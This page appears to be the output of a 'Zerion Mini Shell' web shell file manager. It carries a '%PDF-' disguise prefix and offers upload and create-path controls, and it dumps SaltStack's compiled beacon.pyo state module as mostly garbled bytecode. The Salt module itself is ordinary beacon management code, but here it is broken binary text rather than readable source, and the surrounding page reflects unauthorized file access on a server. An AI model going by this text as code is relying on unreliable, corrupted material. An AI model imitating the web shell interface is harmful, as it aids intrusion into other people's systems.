%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python2.7/site-packages/salt/states/
Upload File :
Create Path :
Current File : //lib/python2.7/site-packages/salt/states/beacon.pyo

�
���^c@@s{dZddlmZmZmZddlmZddlZeje	�Z
ed�Zed�Z
d�Zd�ZdS(	u
Management of the Salt beacons
==============================

.. versionadded:: 2015.8.0

.. code-block:: yaml

    ps:
      beacon.present:
        - save: True
        - enable: False
        - services:
            salt-master: running
            apache2: stopped

    sh:
      beacon.present: []

    load:
      beacon.present:
        - averages:
            1m:
              - 0.0
              - 2.0
            5m:
              - 0.0
              - 1.5
            15m:
              - 0.1
              - 1.0

i(tabsolute_importtprint_functiontunicode_literals(tsixNc	K@s�i|d6td6id6gd6}tddt|�}gtj|�D]\}}i||6^qH}||kr�|||kr�|djdj|��q%tjd�r�t|d<td	|||�}|dj|d�|d|d<q%td	|||�}|ds5|d|d<|d|d<|Sd|krl|djd
j|��|d|d<q%|dj|d�n�tjd�r�t|d<td|||�}|dj|d�nZtd|||�}|ds|d|d<|d|d<|S|djdj|��|r�tjd�rW|djd
j|��q�td�}|djdj|��ndj	|d�|d<|S(u�
    Ensure beacon is configured with the included beacon data.

    name
        The name of the beacon ensure is configured.
    save
        True/False, if True the beacons.conf file be updated too. Default is False.

    unameuresultuchangesucommentubeacons.listtreturn_yamluJob {0} in correct stateutestubeacons.modifyuModifying {0} in beaconsubeacons.adduAdding {0} to beaconsuBeacon {0} would be savedubeacons.saveuBeacon {0} savedu
(
tTruet__salt__tFalseRt	iteritemstappendtformatt__opts__tgettjoin(	tnametsavetkwargstrettcurrent_beaconstktvtbeacon_datatresult((s6/usr/lib/python2.7/site-packages/salt/states/beacon.pytpresent,sP

/




cK@ssi|d6td6id6gd6}tddt|�}||kr�tjd�r�t|d<td||�}|dj|d�q�td||�}|ds�|d|d<|d|d<|S|djd	j|��n|djd
j|��|rXtjd�r.|djdj|��qXtd�}|djd
j|��ndj|d�|d<|S(u�
    Ensure beacon is absent.

    name
        The name of the beacon ensured absent.
    save
        True/False, if True the beacons.conf file be updated too. Default is False.

    unameuresultuchangesucommentubeacons.listRutestubeacons.deleteuRemoved {0} from beaconsu{0} not configured in beaconsuBeacon {0} would be savedubeacons.saveuBeacon {0} savedu
(RRRRRR	R
R
(RRRRRR((s6/usr/lib/python2.7/site-packages/salt/states/beacon.pytabsentqs0




cK@si|d6td6id6gd6}tddt|�}||kr�tjd�r�t|d<td||�}|dj|d�q�td||�}|ds�|d|d<|d|d<|S|djd	j|��n|djd
j|��dj|d�|d<|S(uO
    Enable a beacon.

    name
        The name of the beacon to enable.

    unameuresultuchangesucommentubeacons.listRutestubeacons.enable_beaconuEnabled {0} from beaconsu{0} not a configured beaconu
(RRRRRR	R
R
(RRRRR((s6/usr/lib/python2.7/site-packages/salt/states/beacon.pytenabled�s&



cK@si|d6td6id6gd6}tddt|�}||kr�tjd�r�t|d<td||�}|dj|d�q�td||�}|ds�|d|d<|d|d<|S|djd	j|��n|djd
j|��dj|d�|d<|S(uQ
    Disable a beacon.

    name
        The name of the beacon to disable.

    unameuresultuchangesucommentubeacons.listRutestubeacons.disable_beaconuDisabled beacon {0}.uJob {0} is not configured.u
(RRRRRR	R
R
(RRRRR((s6/usr/lib/python2.7/site-packages/salt/states/beacon.pytdisabled�s&



(t__doc__t
__future__RRRtsalt.extRtloggingt	getLoggert__name__tlogRRRRR(((s6/usr/lib/python2.7/site-packages/salt/states/beacon.pyt<module>"sE0	&

Zerion Mini Shell 1.0